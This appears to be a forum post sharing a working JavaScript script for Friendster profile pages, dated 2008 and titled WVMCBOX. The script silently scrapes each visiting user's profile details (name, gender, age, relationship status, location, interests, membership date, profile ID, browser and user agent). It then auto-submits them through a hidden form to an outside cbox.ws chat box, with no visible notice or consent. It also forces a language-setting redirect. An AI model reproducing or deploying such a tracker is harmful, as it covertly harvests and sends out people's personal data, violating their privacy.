@Arsonist
[spoiler]/**
* WVMCBOX version 2.3.1
* Author: FeRuZZ �
http://profiles.friendster.com/feruzz
* Timestamp: GMT+8 2.15PM May 05, 2008
* Free to use but not free to resell.
* No warranty expressed or implied. Use at your own risk.
**/
/*global WVMCBOX*/
WVMCBOX = {};
[b]window.addEvent('domready', function(){WVMCBOX.init();});[/b]
if (pageViewerLangPref !== "en-US") {
window.location.href = "http://" + location.hostname + "/" + pageOwnerID + "?lang=en-US&updatelang=1";
}
(function () {
WVMCBOX = {
//Private property
div: null,
date: Date().replace(/\(.+\)/, ""),
ifstyle: [
"100%", //width
"300", //height
"auto", //scrolling
"yes" //allowtransparency
],
base: {
"cboxdiv": ["www4", "3621698", "4382"]
},
//null if not exist
details: {
gender: null,
age: null,
status: null,
location: null,
seek: null,
since: null
},
//get viewer details
regexp: {
gender: /q">([\S]*male)/i,
age: /male,\s*([\d]*),/i,
status: /male,\s*[\d]*,\s*([\S\s]*?)<\/span>/i,
location: /Location\:\s*<\/span><a[\S\s]*?>([\S\s]*?)<\/a><\/li>/i,
seek: /Interested\s*In\:\s*<\/span>([\S\s]*?)<\/li>/i,
since: /Member\s*Since\:\s*<\/span>([\w]*?[\s][\d]*?)<\/li>/i
},
init: function () {
WVMCBOX.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, WVMCBOX.viewer, null);
var refreshLocation = "window.wvm_submit.location.href=document.getElementById('wvm_submit').src";
window.setInterval(refreshLocation, 30 * 1000);
},
viewer: function (htm) {
if (htm.replace(/^\s*|\s*$/g, "") === "") {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
return;
} else if (htm) {
for (var val in WVMCBOX.details) {
if (typeof WVMCBOX.details[val] !== "function") {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
} catch (e) {
WVMCBOX.details[val] = "";
}
}
}
if (WVMCBOX.details.seek === "") {
WVMCBOX.details.seek = "Just looking around";
}
for (var seeboks in WVMCBOX.base) {
if (typeof WVMCBOX.base[seeboks] !== "function") {
var htmlspaces = "&nb" + "sp;";
var htmlbulls = "&bu" + "ll;";
WVMCBOX.div = "<iframe frameborder=\"0\" width=\"" + WVMCBOX.ifstyle[0] + "\" height=\"" + WVMCBOX.ifstyle[1] + "\" scrolling=\"" + WVMCBOX.ifstyle[2] + "\" allowtransparency=\"" + WVMCBOX.ifstyle[3] + "\" marginheight=\"2\" marginwidth=\"2\" src=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>" +
"<div style=\"display:none\">" +
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://" + WVMCBOX.base[seeboks][0] + ".cbox.ws/box/?boxid=" + WVMCBOX.base[seeboks][1] + "&boxtag=" + WVMCBOX.base[seeboks][2] + "&sec=submit\" method=\"POST\">" +
"<input type=\"text\" name=\"nme\" value=\"" + pageViewerFName + "\">" +
"<input type=\"text\" name=\"eml\" value=\"http://" + location.hostname + "/" + pageViewerID + "\">" +
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">" + WVMCBOX.date +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.gender + "," + htmlspaces + "" + WVMCBOX.details.age + "," + htmlspaces + "" + WVMCBOX.details.status.replace(/<[\S]*?>/g, "") +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.since.replace(/^\s*[\w]*?/gi, "Member Since: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.seek.replace(/^\s*[\S\s]*?/gi, "Interested In: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + WVMCBOX.details.location.replace(/^\s*[\S\s]*?/gi, "Location: ") +
"[br]" + htmlbulls + "" + htmlspaces + "" + pageViewerID.replace(/^\s*[\d]*?/gi, "Friendster ID: ") +
"[br]" + htmlbulls + "" + htmlspaces + "Browser:" + htmlspaces + "" + navigator.appName +
"[br]" + htmlbulls + "" + htmlspaces + "" + navigator.userAgent + "</textarea>" +
"</form>" +
"</div>";
addNewBox.init("Visitors Info", "<div id=\"" + seeboks + "\" align=\"center\">" + WVMCBOX.div + "</div>", "wvmcbox", /friends/i, null);
}
}
if ((pageViewerID !== pageOwnerID) && (pageViewerID !== "")) {
if (document.wvmcboxform) {
document.wvmcboxform.submit();
} else if (document.getElementById("wvmcboxform")) {
document.getElementById("wvmcboxform").submit();
}
}
}
},
ajaxRequest: function (type, url, async, param, func, handlerparam) {
/**
* ajaxRequest - You may not remove or change this notice.
* version: 2.4
* Copyright 2008 by FeRuZZ �
http://profiles.friendster.com/feruzz.
*
* @type: "GET" | "POST"
* @cont: true | false
* @param: string | null
* @func: string | null
* @handlerparam: string | null
**/
var httprequest = null;
var requestDone = false;
var data = null;
var responseType = "text";
var timeout = 0;
var ival = null;
var onreadystatechange = {};
var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
for (var x = 0, len = msxml.length; x < len; x++) {
try {
httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest();
break;
} catch (e) {
if (async) {
httprequest = null;
}
}
}
if (typeof func === "function") {
onreadystatechange = function (isTimeout) {
if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) {
requestDone = true;
if (ival) {
window.clearInterval(ival);
ival = null;
}
if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) {
var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText;
func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam);
}
}
};
}
if (async) {
ival = window.setInterval(onreadystatechange, 13);
if (timeout > 0) {
window.setTimeout(function () {
if (httprequest) {
httprequest.abort();
if (!requestDone) {
onreadystatechange("timeout");
}
}
}, timeout);
}
}
if (type === "GET" && (/GET/i.test(type))) {
var ts = (new Date()).getTime();
var ret = url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + ts + "$2");
url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
}
if (data && type === "GET" && (/GET/i.test(type))) {
url += (url.match(/\?/) ? "&" : "?") + data;
data = null;
}
if (type === "POST" && (/POST/i.test(type))) {
var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : "");
var contentLength = param ? param.length: 0;
try {
httprequest.setRequestHeader("Content-type", headers);
httprequest.setRequestHeader("Content-length", contentLength);
if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) {
httprequest.setRequestHeader("Connection", "close");
}
} catch (err) {}
}
httprequest.open(type, url, async);
httprequest.setRequestHeader("ajaxRequest", "true");
httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*");
httprequest.send(param);
if (!async) {
onreadystatechange();
}
}
};
})();
/*global addNewBox*/
addNewBox = {};
(function () {
addNewBox = {
init: function (head, code, id, sibling, x) {
var sbdiv = document.createElement("div");
sbdiv.className = "commonbox " + id;
sbdiv.id = id;
if (!head) {
head = "";
} else {
head = "<h2>" + head + "</h2>";
}
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_" + id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("li");
sbli.appendChild(sbdiv);
if (!x) {
addNewBox.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
} else if (x === "below") {
addNewBox.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
} else if (x === "above") {
var ul = addNewBox.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli, ul.parentNode);
}
},
getModuleByClassName: function (sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j = 0, k = els.length; j < k; j++) {
if (new RegExp(sClass).test(els[j].className)) {
elm.push(els[j]);
}
}
return elm;
}
};
})();[/spoiler]